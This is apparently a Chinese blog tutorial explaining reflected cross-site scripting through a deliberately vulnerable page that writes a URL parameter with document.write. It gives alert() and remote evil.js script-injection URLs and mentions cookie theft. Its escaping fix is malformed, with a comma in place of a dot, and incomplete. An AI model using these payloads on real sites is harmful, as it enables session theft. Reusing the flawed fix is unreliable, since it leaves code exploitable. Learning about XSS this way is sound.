js跨站腳本


xss
跨站腳本,稱為xss這個術語用來表示一類的安全問題,指攻擊者向目標web站點注入html標簽或者腳本。

來一個小栗子

 substring 返回介於兩者之間的字符串,如果省去最后一個參數,則直接以length為填充

window.location.search 返回/后面內容包括問號

返回?后面的參數
window.location.search.substring(1)

decodeURIComponent() 將url進行解碼,返回解碼后的utf-8格式

<!doctype html>
<html>
<head>
	<title>這是標題</title>
	<meta charset="utf-8">
</head>
<body>
	<script>
		var name = decodeURIComponent(window.location.search.substring(1));	// 獲取參數
		console.log(name);
		document.write("hello " + name);
	</script>
</body>
</html>

訪問

http://abc.com:8887/?%20word

本地使用web server for chrome 完成了本地靜態服務器的搭建,使用host文件,強制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,因為js腳本不能本地運行,因為有跨域的限制

頁面輸出

 hello word 

這是一個灰常正經的頁面。
下面如果嘗試輸入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事實上現在的瀏覽器很智能了。。已經自動解析了。已經自動暫停解析了,最后加上%3e被瀏覽器攔截,自動的,去掉以后,由於容錯機制,自動生成
好吧,要不是這容錯機制,xss還沒法實驗呢。無奈,現在太智能了,小白的手法,已經不行嘍

<script>
</script>

導致能允許。好吧,去掉自動攔截,chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing
使用的是預解析,自動平衡樹

此時script變身成為

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就會出現一個彈窗,David
因為使用這個url自動生成一個另外一個腳本,由於瀏覽器自動的安全措施,所以使用瀏覽器頁面預解析,寫一個不平衡的樹,初始瀏覽器解析的時候自動添加上

<script>
</script>

事實上,現在基本上都會屏蔽掉的,和sql注入一樣,都是非常小白的攻擊手法。╮(╯▽╰)╭

導致出現彈窗,xss完成
接着下面還有
使用src引入一個腳本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

這樣就完成了一次腳本的注入。會將其他站點的腳本,通過連接進行注入。
可以對該站點的內容做任何的操作,以及讀取cookie,以及將數據發送回站點

事實上瀏覽器插件就是這樣干的,在頁面中加入js腳本,通過更改頁面的js來達到對頁面修改的目的

更多內容 https://www.ibm.com/developerworks/cn/security/se-prevent-cross-site-scripting-attacks/index.html

預防

通過使用replace()全部替換為實體即可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

總結

xss和sql注入一樣,屬於小白攻擊法,要說簡單也很簡單,要說難也很難

拒絕服務攻擊

如果一個站點無限彈窗,瀏覽器會卡死。包括使用js挖礦什么的,都不值得一提了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM